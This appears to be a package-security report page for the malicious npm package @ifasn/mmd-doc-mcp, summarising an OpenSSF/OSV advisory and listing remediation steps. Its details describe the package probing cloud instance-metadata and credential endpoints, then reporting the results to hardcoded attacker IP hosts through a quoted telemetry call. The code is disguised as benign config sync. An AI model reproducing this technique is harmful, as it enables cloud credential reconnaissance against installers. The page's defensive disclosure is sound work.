@ifasn/mmd-doc-mcp@1.0.0
OpenSSF/OSV Malicious Advisory
imported 2d ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18488 confirms this npm version as malicious.
Advisory
MAL-2026-18488
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @ifasn/mmd-doc-mcp (npm)
Details
On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM `security-credentials/` role path) under variables named `HEALTH_PROBES`/`CONFIG_NODES`, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via `pingTelemetry("?stage=report&src=mmd-doc-mcp&nodes=" + results.join(","))` to `TELEMETRY_HOSTS = ["http://121.199.24.94.nip.io", "http://121.199.24.94"]`. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (`configSync`, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.
References
Source & flagged code
0 flaggedNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to @ifasn/mmd-doc-mcp@1.0.0.
The same advisory and Firewall decision cover 2 recorded versions
1.0.0, 1.0.2
See all versions of @ifasn/mmd-doc-mcp for other recorded verdicts.
- Avoid installing @ifasn/mmd-doc-mcp@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.